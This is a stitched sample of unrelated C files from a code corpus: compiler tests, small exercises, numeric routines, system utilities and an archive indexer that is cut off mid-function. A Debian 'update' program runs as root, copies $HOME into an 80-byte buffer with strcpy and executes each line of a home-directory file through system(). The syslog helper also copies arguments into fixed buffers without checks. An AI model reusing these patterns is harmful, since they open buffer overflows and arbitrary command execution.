/* * CDDL HEADER START * * The contents of this file are subject to the terms of the * Common Development and Distribution License, Version 1.0 only * (the "License"). You may not use this file except in compliance * with the License. * * You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE * or http://www.opensolaris.org/os/licensing. * See the License for the specific language governing permissions * and limitations under the License. * * When distributing Covered Code, include this CDDL HEADER in each * file and include the License file at usr/src/OPENSOLARIS.LICENSE. * If applicable, add the following below this CDDL HEADER, with the * fields enclosed by brackets "[]" replaced with your own identifying * information: Portions Copyright [yyyy] [name of copyright owner] * * CDDL HEADER END */ #pragma ident "%Z%%M% %I% %E% SMI" /* * Copyright (c) 1983-1998 by Sun Microsystems, Inc. * All rights reserved. */ /* * Subroutines to be called by adbgen2.c, the C program generated * by adbgen1.c. */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> off_t last_off; int warnings = 1; int warns = 0; /* * User claims offset is ok. * This usually follows call to another script, which we cannot handle. */ void offsetok(void) { last_off = -1; } /* * Get adb.s dot to the right offset. */ void offset(off_t off) { off_t off_diff; if (last_off == -1) { last_off = off; return; } off_diff = off - last_off; if (off_diff) { if (off_diff > 0) { if (off_diff > 1) { printf("%ld", off_diff); } printf("+"); } if (off_diff < 0) { if (off_diff < -1) { printf("%ld", -off_diff); } printf("-"); } } last_off = off; } /* * Emit the format command, return the size. */ int do_fmt(char *acp) { int rcount, width, sum, i; char *cp; cp = acp; sum = rcount = 0; do { while (*cp >= '0' && *cp <= '9') { rcount = rcount * 10 + *cp++ - '0'; } if (rcount == 0) { rcount = 1; } switch (*cp) { case 'e': case 'E': case 'F': case 'g': case 'G': case 'J': width = 8; break; case 'K': #ifdef _LP64 width = 8; #else /* _LP64 */ width = 4; #endif /* _LP64 */ break; case 'X': case 'O': case 'Q': case 'D': case 'U': case 'f': case 'Y': case 'p': case 'P': width = 4; break; case 'x': case 'o': case 'q': case 'd': case 'u': width = 2; break; case 'v': case 'V': case 'b': case 'B': case 'c': case 'C': case '+': width = 1; break; case 'I': case 'a': case 'A': case 't': case 'r': case 'n': width = 0; break; case '-': width = -1; break; case 's': case 'S': case 'i': if (warnings) { fprintf(stderr, "Unknown format size \"%s\", assuming zero\n", acp); warns++; } width = 0; break; default: fprintf(stderr, "Unknown format size: %s\n", acp); exit(1); } for (i = 0; i < rcount; i++) { putchar(*cp); } cp++; sum += width * rcount; } while (*cp); return (sum); } /* * Format struct member, checking size. */ void format(char *name, size_t size, char *fmt) { int fs; fs = do_fmt(fmt); if (fs != size && warnings) { fprintf(stderr, "warning: \"%s\" size is %ld, \"%s\" width is %d\n", name, size, fmt, fs); warns++; } last_off += fs; } /* * Get the value at offset based on base. */ void indirect(off_t offset, size_t size, char *base, char *member) { if (size == 8 || size == 4) { if (offset == 0) { printf("*%s", base); } else { printf("*(%s+0t%ld)", base, offset); } } else if (size == 2) { if (offset == 2) { printf("(*%s&0xffff)", base); } else { printf("(*(%s+0t%ld)&0xffff)", base, offset - 2); } } else if (size == 1) { if (offset == 3) { printf("(*%s&0xff)", base); } else { if ((offset & 0x1) == 0x1) { printf("(*(%s+0t%ld)&0xff)", base, offset - 3); } else { printf("((*(%s+0t%ld)&0xff00)/0x100)", base, offset - 2); } } } else { fprintf(stderr, "Indirect size %ld not 1, 2, or 4: %s\n", size, member); exit(1); } }
the_stack_data/3263060.c
enum e { E1, E2 = E1 + 3, E3 }; typedef enum { ENUM_1, enum1_force = 0x1122334455667788 } LLEnum; typedef enum { ENUM_2, enum2_force = 0x112233 } SIEnum; LLEnum enum1 = enum1_force; SIEnum enum2 = enum2_force; int main() { if (E1 != 0) { goto ERROR; } if (E2 != 3) { goto ERROR; } if (E3 != 4) { goto ERROR; } if (enum1 != enum1_force) { goto ERROR; } if (enum2 != enum2_force) { goto ERROR; } return 0; ERROR: return 1; }
the_stack_data/7570.c
/* $OpenBSD: main.c,v 1.1 1999/02/23 23:54:17 art Exp $ */ /* * Public domain - no warranty. */ #include <sys/cdefs.h> int ls_main __P((int argc, char **argv)); int main(argc, argv) int argc; char **argv; { return ls_main(argc, argv); }
the_stack_data/243893143.c
/* ************************************************ username : smmehrab fullname : s.m.mehrabul islam email : [email protected] institute : university of dhaka, bangladesh session : 2017-2018 ************************************************ */ #include<stdio.h> int main() { long long int n,ager,porer,i,j,k,max; scanf("%lld",&n); max=1; scanf("%lld",&ager); k=1; for(i=1;i<n;i++) { scanf("%lld",&porer); if(porer>(2*ager)) { if(k>max) max=k; k=1; } else if(porer!=ager) k++; ager=porer; } if(k>max) max=k; printf("%lld\n",max); return 0; }
the_stack_data/211079467.c
// RUN: %clang_cc1 -triple x86_64-unknown-unknown -fsyntax-only -verify %s int i; void f(void) __attribute__((__min_vector_width__(i))); /* expected-error {{'__min_vector_width__' attribute requires an integer constant}} */ void f2(void) __attribute__((__min_vector_width__(128))); void f3(void) __attribute__((__min_vector_width__(128), __min_vector_width__(256))); /* expected-warning {{attribute '__min_vector_width__' is already applied with different arguments}} */ void f4(void) __attribute__((__min_vector_width__())); /* expected-error {{'__min_vector_width__' attribute takes one argument}} */ void f5(void) __attribute__((__min_vector_width__(128, 256))); /* expected-error {{'__min_vector_width__' attribute takes one argument}} */ void f6(void) { int x __attribute__((__min_vector_width__(128))) = 0; /* expected-error {{'__min_vector_width__' attribute only applies to functions}} */ }
the_stack_data/680581.c
/* Test for MS structure sizes. */ /* APPLE LOCAL 5946347 ms_struct support */ /* { dg-do run { target *-*-interix* *-*-mingw* *-*-cygwin* i?86-*-darwin* arm*-*-darwin* } } */ /* { dg-require-effective-target ilp32 } */ /* { dg-options "-std=gnu99" } */ extern void abort (); #define ATTR __attribute__((__ms_struct__)) #define size_struct_0 1 #define size_struct_1 4 #define size_struct_2 24 #define size_struct_3 8 #define size_struct_4 32 #define size_struct_5 12 #define size_struct_6 40 #define size_struct_7 8 #define size_struct_8 20 #define size_struct_9 32 struct _struct_0 { char member_0; } ATTR; typedef struct _struct_0 struct_0; struct _struct_1 { char member_0; short member_1:13; } ATTR; typedef struct _struct_1 struct_1; struct _struct_2 { double member_0; unsigned char member_1:8; long member_2:32; unsigned char member_3:5; short member_4:14; short member_5:13; unsigned char:0; } ATTR; typedef struct _struct_2 struct_2; struct _struct_3 { unsigned long member_0:26; unsigned char member_1:2; } ATTR; typedef struct _struct_3 struct_3; struct _struct_4 { unsigned char member_0:7; double member_1; double member_2; short member_3:5; char member_4:2; } ATTR; typedef struct _struct_4 struct_4; struct _struct_5 { unsigned short member_0:12; long member_1:1; unsigned short member_2:6; } ATTR; typedef struct _struct_5 struct_5; struct _struct_6 { unsigned char member_0:7; unsigned long member_1:25; char member_2:1; double member_3; short member_4:9; double member_5; } ATTR; typedef struct _struct_6 struct_6; struct _struct_7 { double member_0; } ATTR; typedef struct _struct_7 struct_7; struct _struct_8 { unsigned char member_0:7; long member_1:11; long member_2:5; long:0; char member_4:8; unsigned short member_5:4; unsigned char member_6:3; long member_7:23; } ATTR; typedef struct _struct_8 struct_8; struct _struct_9 { double member_0; unsigned long member_1:6; long member_2:17; double member_3; unsigned long member_4:22; } ATTR; typedef struct _struct_9 struct_9; struct_0 test_struct_0 = { 123 }; struct_1 test_struct_1 = { 82, 1081 }; struct_2 test_struct_2 = { 20.0, 31, 407760, 1, 14916, 6712 }; struct_3 test_struct_3 = { 64616999, 1 }; struct_4 test_struct_4 = { 61, 20.0, 20.0, 12, 0 }; struct_5 test_struct_5 = { 909, 1, 57 }; struct_6 test_struct_6 = { 12, 21355796, 0, 20.0, 467, 20.0 }; struct_7 test_struct_7 = { 20.0 }; struct_8 test_struct_8 = { 126, 1821, 22, 125, 6, 0, 2432638 }; struct_9 test_struct_9 = { 20.0, 3, 23957, 20.0, 1001631 }; int main (void) { if (size_struct_0 != sizeof (struct_0)) abort (); if (size_struct_1 != sizeof (struct_1)) abort (); if (size_struct_2 != sizeof (struct_2)) abort (); if (size_struct_3 != sizeof (struct_3)) abort (); if (size_struct_4 != sizeof (struct_4)) abort (); if (size_struct_5 != sizeof (struct_5)) abort (); if (size_struct_6 != sizeof (struct_6)) abort (); if (size_struct_7 != sizeof (struct_7)) abort (); if (size_struct_8 != sizeof (struct_8)) abort (); if (size_struct_9 != sizeof (struct_9)) abort (); return 0; }
the_stack_data/9512007.c
#define LOOP for (I = 0; I < 10; ++I); int main() { int I; LOOP return 0; }
the_stack_data/111077674.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct snd_pcm_channel_area {char* addr; size_t first; size_t step; } ; /* Variables and functions */ int EINVAL ; int /*<<< orphan*/ memcpy (char*,char*,int) ; int snd_pcm_area_silence (struct snd_pcm_channel_area const*,size_t,size_t,int) ; int snd_pcm_format_physical_width (int) ; int snd_pcm_area_copy(const struct snd_pcm_channel_area *src_area, size_t src_offset, const struct snd_pcm_channel_area *dst_area, size_t dst_offset, size_t samples, int format) { /* FIXME: sub byte resolution and odd dst_offset */ char *src, *dst; int width; int src_step, dst_step; src = src_area->addr + (src_area->first + src_area->step * src_offset) / 8; if (!src_area->addr) return snd_pcm_area_silence(dst_area, dst_offset, samples, format); dst = dst_area->addr + (dst_area->first + dst_area->step * dst_offset) / 8; if (!dst_area->addr) return 0; width = snd_pcm_format_physical_width(format); if (width <= 0) return -EINVAL; if (src_area->step == (unsigned int) width && dst_area->step == (unsigned int) width && width >= 8) { size_t bytes = samples * width / 8; memcpy(dst, src, bytes); return 0; } src_step = src_area->step / 8; dst_step = dst_area->step / 8; if (width == 4) { /* Ima ADPCM */ int srcbit = src_area->first % 8; int srcbit_step = src_area->step % 8; int dstbit = dst_area->first % 8; int dstbit_step = dst_area->step % 8; while (samples-- > 0) { unsigned char srcval; if (srcbit) srcval = *src & 0x0f; else srcval = (*src & 0xf0) >> 4; if (dstbit) *dst = (*dst & 0xf0) | srcval; else *dst = (*dst & 0x0f) | (srcval << 4); src += src_step; srcbit += srcbit_step; if (srcbit == 8) { src++; srcbit = 0; } dst += dst_step; dstbit += dstbit_step; if (dstbit == 8) { dst++; dstbit = 0; } } } else { width /= 8; while (samples-- > 0) { memcpy(dst, src, width); src += src_step; dst += dst_step; } } return 0; }
the_stack_data/149302.c
//Basic Teager-Kaiser Energy Operator (TKEO): //y[n] = x[n]*x[n] - x[n-1]*x[n+1] //For complex input, the output is real, and is equal to the sum //of the TKEOs of the real and imaginary parts, as proven //by Hamila et al. [1999], as cited in de Matos [2018]. //One can also use smooth_diff and smooth_diffdiff, and then: //y[n] = dx[n]*dx[n] - x[n]*ddx[n] //See de Matos MC. 2018. Seismic attributes from the complex Teager-Kaiser energy. //and its excellent reference: //Holoborodko P. 2008. Smooth noise robust differentiators. www.holoborodko.com. #include <stdio.h> #ifdef __cplusplus namespace codee { extern "C" { #endif int tkeo_s (float *Y, const float *X, const size_t R, const size_t C, const size_t S, const size_t H, const int iscolmajor, const size_t dim); int tkeo_d (double *Y, const double *X, const size_t R, const size_t C, const size_t S, const size_t H, const int iscolmajor, const size_t dim); int tkeo_c (float *Y, const float *X, const size_t R, const size_t C, const size_t S, const size_t H, const int iscolmajor, const size_t dim); int tkeo_z (double *Y, const double *X, const size_t R, const size_t C, const size_t S, const size_t H, const int iscolmajor, const size_t dim); int tkeo_s (float *Y, const float *X, const size_t R, const size_t C, const size_t S, const size_t H, const int iscolmajor, const size_t dim) { if (dim>3u) { fprintf(stderr,"error in tkeo_s: dim must be in [0 3]\n"); return 1; } const size_t N = R*C*S*H; const size_t L = (dim==0u) ? R : (dim==1u) ? C : (dim==2u) ? S : H; if (N==0u) {} else if (L==N) { //struct timespec tic, toc; clock_gettime(CLOCK_REALTIME,&tic); *Y = *X * *X; ++X; ++Y; for (size_t l=L-2u; l>0u; --l, ++X, ++Y) { *Y = *X**X + *(X-1)**(X+1); } *Y = *X * *X; //clock_gettime(CLOCK_REALTIME,&toc); //fprintf(stderr,"elapsed time = %.6f ms\n",(double)(toc.tv_sec-tic.tv_sec)*1e3+(double)(toc.tv_nsec-tic.tv_nsec)/1e6); } else { const size_t K = (iscolmajor) ? ((dim==0u) ? 1u : (dim==1u) ? R : (dim==2u) ? R*C : R*C*S) : ((dim==0u) ? C*S*H : (dim==1u) ? S*H : (dim==2u) ? H : 1u); const size_t B = (iscolmajor && dim==0u) ? C*S*H : K; const size_t V = N/L, G = V/B; if (K==1u && (G==1u || B==1u)) { for (size_t v=V; v>0u; --v, ++X, ++Y) { *Y = *X * *X; ++X; ++Y; for (size_t l=L-2u; l>0u; --l, ++X, ++Y) { *Y = *X**X + *(X-1)**(X+1); } *Y = *X * *X; } } else { for (size_t g=G; g>0u; --g, X+=B*(L-1u), Y+=B*(L-1u)) { for (size_t b=B; b>0u; --b, X-=K*L-K-1u, Y-=K*L-K-1u) { *Y = *X * *X; X += K; Y += K; for (size_t l=L-2u; l>0u; --l, X+=K, Y+=K) { *Y = *X**X + *(X-K)**(X+K); } *Y = *X * *X; } } } } return 0; } int tkeo_d (double *Y, const double *X, const size_t R, const size_t C, const size_t S, const size_t H, const int iscolmajor, const size_t dim) { if (dim>3u) { fprintf(stderr,"error in tkeo_d: dim must be in [0 3]\n"); return 1; } const size_t N = R*C*S*H; const size_t L = (dim==0u) ? R : (dim==1u) ? C : (dim==2u) ? S : H; if (N==0u) {} else if (L==N) { *Y = *X * *X; ++X; ++Y; for (size_t l=L-2u; l>0u; --l, ++X, ++Y) { *Y = *X**X + *(X-1)**(X+1); } *Y = *X * *X; } else { const size_t K = (iscolmajor) ? ((dim==0u) ? 1u : (dim==1u) ? R : (dim==2u) ? R*C : R*C*S) : ((dim==0u) ? C*S*H : (dim==1u) ? S*H : (dim==2u) ? H : 1u); const size_t B = (iscolmajor && dim==0u) ? C*S*H : K; const size_t V = N/L, G = V/B; if (K==1u && (G==1u || B==1u)) { for (size_t v=V; v>0u; --v, ++X, ++Y) { *Y = *X * *X; ++X; ++Y; for (size_t l=L-2u; l>0u; --l, ++X, ++Y) { *Y = *X**X + *(X-1)**(X+1); } *Y = *X * *X; } } else { for (size_t g=G; g>0u; --g, X+=B*(L-1u), Y+=B*(L-1u)) { for (size_t b=B; b>0u; --b, X-=K*L-K-1u, Y-=K*L-K-1u) { *Y = *X * *X; X += K; Y += K; for (size_t l=L-2u; l>0u; --l, X+=K, Y+=K) { *Y = *X**X + *(X-K)**(X+K); } *Y = *X * *X; } } } } return 0; } int tkeo_c (float *Y, const float *X, const size_t R, const size_t C, const size_t S, const size_t H, const int iscolmajor, const size_t dim) { if (dim>3u) { fprintf(stderr,"error in tkeo_c: dim must be in [0 3]\n"); return 1; } const size_t N = R*C*S*H; const size_t L = (dim==0u) ? R : (dim==1u) ? C : (dim==2u) ? S : H; if (N==0u) {} else if (L==N) { *Y = *X * *X; ++X; *Y++ += *X * *X; ++X; for (size_t l=L-2u; l>0u; --l) { *Y = *X**X + *(X-2)**(X+2); ++X; *Y++ += *X**X + *(X-2)**(X+2); ++X; } *Y = *X * *X; ++X; *Y += *X * *X; } else { const size_t K = (iscolmajor) ? ((dim==0u) ? 1u : (dim==1u) ? R : (dim==2u) ? R*C : R*C*S) : ((dim==0u) ? C*S*H : (dim==1u) ? S*H : (dim==2u) ? H : 1u); const size_t B = (iscolmajor && dim==0u) ? C*S*H : K; const size_t V = N/L, G = V/B; if (K==1u && (G==1u || B==1u)) { for (size_t v=V; v>0u; --v) { *Y = *X * *X; ++X; *Y++ += *X * *X; ++X; for (size_t l=L-2u; l>0u; --l) { *Y = *X**X + *(X-2)**(X+2); ++X; *Y++ += *X**X + *(X-2)**(X+2); ++X; } *Y = *X * *X; ++X; *Y++ += *X * *X; ++X; } } else { for (size_t g=G; g>0u; --g, X+=2u*B*(L-1u), Y+=B*(L-1u)) { for (size_t b=B; b>0u; --b, X-=2u*(K*L-K-1u), Y-=K*L-K-1u) { *Y = *X**X + *(X+1)**(X+1); X += 2u*K; Y += K; for (size_t l=L-2u; l>0u; --l) { *Y = *X**X + *(X-2u*K)**(X+2u*K) + *(X+1)**(X+1) + *(X-2u*K+1u)**(X+2u*K+1u); X += 2u*K; Y += K; } *Y = *X**X + *(X+1)**(X+1); } } } } return 0; } int tkeo_z (double *Y, const double *X, const size_t R, const size_t C, const size_t S, const size_t H, const int iscolmajor, const size_t dim) { if (dim>3u) { fprintf(stderr,"error in tkeo_z: dim must be in [0 3]\n"); return 1; } const size_t N = R*C*S*H; const size_t L = (dim==0u) ? R : (dim==1u) ? C : (dim==2u) ? S : H; if (N==0u) {} else if (L==N) { *Y = *X * *X; ++X; *Y++ += *X * *X; ++X; for (size_t l=L-2u; l>0u; --l) { *Y = *X**X + *(X-2)**(X+2); ++X; *Y++ += *X**X + *(X-2)**(X+2); ++X; } *Y = *X * *X; ++X; *Y += *X * *X; } else { const size_t K = (iscolmajor) ? ((dim==0u) ? 1u : (dim==1u) ? R : (dim==2u) ? R*C : R*C*S) : ((dim==0u) ? C*S*H : (dim==1u) ? S*H : (dim==2u) ? H : 1u); const size_t B = (iscolmajor && dim==0u) ? C*S*H : K; const size_t V = N/L, G = V/B; if (K==1u && (G==1u || B==1u)) { for (size_t v=V; v>0u; --v) { *Y = *X * *X; ++X; *Y++ += *X * *X; ++X; for (size_t l=L-2u; l>0u; --l) { *Y = *X**X + *(X-2)**(X+2); ++X; *Y++ += *X**X + *(X-2)**(X+2); ++X; } *Y = *X * *X; ++X; *Y++ += *X * *X; ++X; } } else { for (size_t g=G; g>0u; --g, X+=2u*B*(L-1u), Y+=B*(L-1u)) { for (size_t b=B; b>0u; --b, X-=2u*(K*L-K-1u), Y-=K*L-K-1u) { *Y = *X**X + *(X+1)**(X+1); X += 2u*K; Y += K; for (size_t l=L-2u; l>0u; --l) { *Y = *X**X + *(X-2u*K)**(X+2u*K) + *(X+1)**(X+1) + *(X-2u*K+1u)**(X+2u*K+1u); X += 2u*K; Y += K; } *Y = *X**X + *(X+1)**(X+1); } } } } return 0; } #ifdef __cplusplus } } #endif
the_stack_data/173578922.c
#include <stdio.h> int main(){ // Acceso aleatorio de las matrices int lista[3]; lista[0] = 1; lista[1] = 2; lista[2] = 3; printf("Lista:\n"); for (int i = 0; i< 3; i++){ printf("%i\n", lista[i]); } int nuevaLista[4]; // Copiar matriz for(int i = 0; i < 3; i++){ // Copiar elemento por elemento nuevaLista[i] = lista[i]; } nuevaLista[3] = 4; printf("Nueva Lista:\n"); for (int i = 0; i< 4; i++){ printf("%i\n", nuevaLista[i]); } }
the_stack_data/126704256.c
#ifndef __CURSOR__H #define __CURSOR__H #include <stdio.h> // move cursor using ascii escape sequences void cursor_move(int row, int col) { if (row < 0 || col < 0) { printf("row and col must be >=0\n" "cursor won't be moved\n"); } printf("\e[%d;%dH", row, col); } void cursor_clear() { printf(" "); } void cursor_putc(char ch) { printf("%c", ch); } void cursor_puts(char* cstr) { if (!cstr) { printf("%s: pointer to a string is NULL", __func__); return; } printf("%s", cstr); } #endif
the_stack_data/187644394.c
#include<stdio.h> #include<math.h> int main (){ double at,h,pi=3.1418,r; printf("Insira o valor da da altura\n"); scanf("%lf",&h); printf("Insira o valor da area total do cilindro\n"); scanf("%lf",&at); r= (sqrt(at/pow(2,4)*pi*h))/2; printf("O valor do raio e de %lf\n",r); return 0; }
the_stack_data/82950807.c
//Update main file to update a debian based linux system //Date: 02.08.2016 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> /*Function name: main function Return type: int, indicates the success or failure staus of the program. Input type: void in general. Description: main function to handle all the procedures required to update a system by executing the list of commands provided in the list.sn file */ int main() { FILE *fp; char line[1000],*home,path[80]; int uid; //Check for root if((uid=getuid()) != 0) { printf("Alert... got root?\n"); exit(EXIT_FAILURE); } printf("=========================================================\n" "UU UU PPPPPP DDDDDD AAAAAAA TTTTTTTT EEEEE\n" "UU UU PP PPP DD DDD AAA AAA TTTTTT EE\n" "UU UU PPPPPP DD DDD AA AA TT EEEEE\n" "UUUUUUUU PP DD DDD AAAAAAA TT EE\n" " UUUUUU PP DDDDDD AA AA TT EEEEE\n" "=========================================================\n" " Property of SKYNET Inc.\n" "Automatically check for updates, downloads and installs update if any.\n" "clean the update cache and remove unwanted dependencies\n" "=========================================================\n"); //Get value of environment variable HOME home=getenv("HOME"); strcpy(path,home); strcat(path,"/list.sn"); if(!(fp=fopen(path,"r"))) { perror("list.sn "); exit(EXIT_FAILURE); } //FEtch each line from the file and execute them while(fgets(line,sizeof line,fp) != NULL) { printf("running command %s ...\n",line); system(line); printf("#####################################################\n"); } fclose(fp); return 0; }
the_stack_data/95448948.c
#include <stdio.h> // Funktion zum Sortieren eines Arrays void bubbleSort(int A[], int len) { for (int i = 1; i < len; i++) { for (int j = 0; j < len - i; j++) { if (A[j] > A[j + 1]) { //Vertausche die Elemente int temp = A[j]; A[j] = A[j + 1]; A[j + 1] = temp; } } } } // Funktion fuer die Ausgabe des Arrays void printArr(int A[], int len) { for (int i = 0; i < len-1; i++) { printf("%i, ", A[i]); } printf("%i\n", A[len - 1]); } int main() { // Testdaten int myArr[10] = { 0, 4, 1, 9, 8, 5, 6, 2, 7, 3 }; // Testausgabe printf("Das unsortierte Array:\n"); printArr(myArr, 10); bubbleSort(myArr, 10); printf("Das sortierte Array:\n"); printArr(myArr, 10); return 0; }
the_stack_data/121940.c
#include <stdio.h> int conditiontest(int test1, int test2) { int result; if (test1 > test2) { result = test1; } else if (test1 < test2) { result = test2; }else { result = 0; } return result; } int main() { int data1 = 10; int data2 = 30; printf("The result is %d\n", conditiontest(data1, data2)); return 0; }
the_stack_data/165765350.c
#include <pthread.h> typedef struct st_t { unsigned char x; unsigned char y; } ST; ST st; char my_array[10]; _Bool done1, done2; void *foo1(void *arg1) { st.x = 1; my_array[1]=1; done1 = 1; } void *foo2(void *arg2) { st.y = 1; my_array[2]=2; done2 = 1; } int main() { pthread_t t; pthread_create(&t,NULL,foo1,NULL); pthread_create(&t,NULL,foo2,NULL); if(done1 && done2) { assert(st.x==st.y); assert(my_array[1]==my_array[2]); } }
the_stack_data/48575186.c
/* * %CopyrightBegin% * * Copyright Ericsson AB 1996-2009. All Rights Reserved. * * The contents of this file are subject to the Erlang Public License, * Version 1.1, (the "License"); you may not use this file except in * compliance with the License. You should have received a copy of the * Erlang Public License along with this software. If not, it can be * retrieved online at http://www.erlang.org/. * * Software distributed under the License is distributed on an "AS IS" * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See * the License for the specific language governing rights and limitations * under the License. * * %CopyrightEnd% */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <signal.h> /* arguments */ #define MODE 1 #define OWNPATH 2 #define SYSLOGCONF 3 #define NARG 3 /* status codes */ #define OK 0 #define ARG_ERROR -1 #define FILE_ERROR -2 #define KILL_ERROR -3 #define PIPE_NOT_FOUND 1 /* hardwired */ #define SYSLOG_PID "/etc/syslog.pid" #define PIPENAME "syslog.otp" #define SYSLOGCONF_ORIG "syslog.conf.ORIG" #define SYSLOGCONF_OTP "syslog.conf.OTP" #define BUFFER_SIZE 1001 #define MAXNAME_SIZE 1001 #define FALSE 0 #define TRUE 1 #define WAIT 1 int main(int argc, char *argv[]) /* usage: mod_syslog mode ownpath syslogconf */ { int syslogd_pid, n_lines_copied=0; int otp_sw, find_sw=FALSE; char buf[BUFFER_SIZE], pipename[MAXNAME_SIZE], srcname[MAXNAME_SIZE]; FILE *srcfile, *destfile, *pidfile; void make_exit(int); /* enough arguments? */ if(argc < NARG+1) make_exit(ARG_ERROR); /* enable OTP or not */ if(strcmp(argv[MODE], "otp") == 0) otp_sw = TRUE; else if(strcmp(argv[MODE], "nootp") == 0) otp_sw = FALSE; else make_exit(ARG_ERROR); /* make pipename */ strcpy(pipename, argv[OWNPATH]); strcat(pipename, "/"); strcat(pipename, PIPENAME); /* remove old pipe and make a new one */ if(otp_sw){ /* remove */ unlink(pipename); /* make a new */ if(mknod(pipename, S_IFIFO | S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH, (dev_t)0) != 0) make_exit(FILE_ERROR); } /* make source filename */ strcpy(srcname, argv[OWNPATH]); strcat(srcname, "/"); strcat(srcname, otp_sw?SYSLOGCONF_OTP:SYSLOGCONF_ORIG); /* open source and destination, exit if error */ if((srcfile = fopen(srcname, "r")) == NULL || (destfile = fopen(argv[SYSLOGCONF], "w")) == NULL) make_exit(FILE_ERROR); /* copy source and destination, exit if error */ while(fgets(buf, BUFFER_SIZE-1, srcfile) != NULL){ /* find_sw |= strstr(buf, PIPENAME) != NULL; */ n_lines_copied++; if(fputs(buf, destfile) == EOF) make_exit(FILE_ERROR); } if(ferror(srcfile) || n_lines_copied == 0) make_exit(FILE_ERROR); /* open pidfile, exit if error */ if((pidfile = fopen(SYSLOG_PID, "r")) == NULL) make_exit(FILE_ERROR); /* read pid for syslogd, exit if error */ if(fscanf(pidfile, "%d", &syslogd_pid) == 0) make_exit(FILE_ERROR); /* send HUP to syslogd, exit if error */ if(syslogd_pid < 0 || kill((pid_t)syslogd_pid, SIGHUP) != 0) make_exit(KILL_ERROR); /* remove pipe */ if(!otp_sw){ sleep((unsigned)WAIT); unlink(pipename); } /* ending successful or with warning */ /* if(!find_sw && otp_sw) make_exit(PIPE_NOT_FOUND); else */ make_exit(OK); return 0; } void make_exit(int exit_code) { printf("%d", exit_code); exit(0); }
the_stack_data/90765285.c
/* Enable floating-point exceptions. Copyright (C) 2001, 2007 Free Software Foundation, Inc. This file is part of the GNU C Library. Contributed by Andreas Jaeger <[email protected]>, 2001. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #include <fenv.h> int feenableexcept (int excepts) { unsigned short int new_exc, old_exc; unsigned int new; excepts &= FE_ALL_EXCEPT; /* Get the current control word of the x87 FPU. */ __asm__ ("fstcw %0" : "=m" (*&new_exc)); old_exc = (~new_exc) & FE_ALL_EXCEPT; new_exc &= ~excepts; __asm__ ("fldcw %0" : : "m" (*&new_exc)); /* And now the same for the SSE MXCSR register. */ __asm__ ("stmxcsr %0" : "=m" (*&new)); /* The SSE exception masks are shifted by 7 bits. */ new &= ~(excepts << 7); __asm__ ("ldmxcsr %0" : : "m" (*&new)); return old_exc; }
the_stack_data/231393145.c
#include <stdio.h> int main( int argc, char *argv[] ) { printf("\n The argc %d", argc); printf("\n The argv %s", argv[0]); printf("\n The argv %s", argv[1]); printf("\n The argv %s\n", argv[2]); if ( argc < 2 ) /* argc should be 2 for correct execution */ { /* We print argv[0] assuming it is the program name */ printf( "usage: %s filename", argv[0] ); } else { // We assume argv[1] is a filename to open //printf("\n %s\n", argv[2]); FILE *file = fopen( argv[2], "r" ); /* fopen returns 0, the NULL pointer, on failure */ if ( file == 0 ) { printf( "Could not open file\n" ); } else { int x; /* read one character at a time from file, stopping at EOF, which indicates the end of the file. Note that the idiom of "assign to a variable, check the value" used below works because the assignment statement evaluates to the value assigned. */ while ( ( x = fgetc( file ) ) != EOF ) { printf( "%c", x ); } fclose( file ); } } }
the_stack_data/192329533.c
/* * Cronyx archive indexer. * * Copyright (C) 1994-1997 Cronyx Ltd. * Author: Serge Vakulenko, <[email protected]> * Date: Thu Mar 17 18:57:24 MSK 1994 */ #include <sys/types.h> #include <sys/stat.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <dirent.h> #include <unistd.h> #include <time.h> #define LINESZ 512 #define MAXEXLEN 256 #define ISDIGIT(c) ((c) >= '0' && (c) <= '9') char *progname; char *prefix; int verbose; int debug; int offset; #ifdef ONEPASS #include "vdbm.h" VDBM *history; #endif char **stack; int stack_len; int stack_pos; const char version[] = "1.0"; const char copyright[] = "Copyright (C) 1994 Cronyx Ltd."; extern char *optarg; extern int optind; int kindex (char *dir); void scan (char *dir); void stack_free (void); void stack_push (char *str, struct stat *st); char *stack_pop (void); int fgetinfo (char *info, int maxlen, FILE *fd); char *exlist[MAXEXLEN]; int exlen; void quit () { exit (-1); } void usage () { fprintf (stderr, "KINDEX - file archive index builder, version %s\n", version); fprintf (stderr, "%s\n\n", copyright); fprintf (stderr, "Usage:\n\t%s [-v] [-D] [-d prefix] [-x exclude] [dirname...]\n", progname); fprintf (stderr, "Options:\n"); fprintf (stderr, "\t-v\tverbose mode\n"); fprintf (stderr, "\t-D\tdebug mode\n"); fprintf (stderr, "\t-d #\tthe directory name prefix to remove\n"); fprintf (stderr, "\t-x #\tdon't follow the symlink given\n"); quit (); } int main (int argc, char **argv) { progname = strrchr (*argv, '/'); if (! progname) progname = *argv; for (;;) { switch (getopt (argc, argv, "vDd:x:")) { case EOF: break; case 'v': ++verbose; continue; case 'D': ++debug; continue; case 'd': prefix = optarg; continue; case 'x': if (exlen >= MAXEXLEN) { fprintf (stderr, "%s: too many exclusions\n", progname); quit (); } exlist[exlen++] = optarg; continue; } break; } argc -= optind; argv += optind; if (!argc || **argv=='-') usage (); for (; argc>0; --argc, ++argv) kindex (argv[0]); return (0); } int runsort (char *dir) { char idx [LINESZ]; int pd[2], pid; strcpy (idx, dir); strcat (idx, "/.index"); if (freopen (idx, "w", stdout) != stdout) { fprintf (stderr, "%s: cannot reopen stdout to %s\n", progname, idx); return (-1); } if (pipe (pd) < 0) { perror 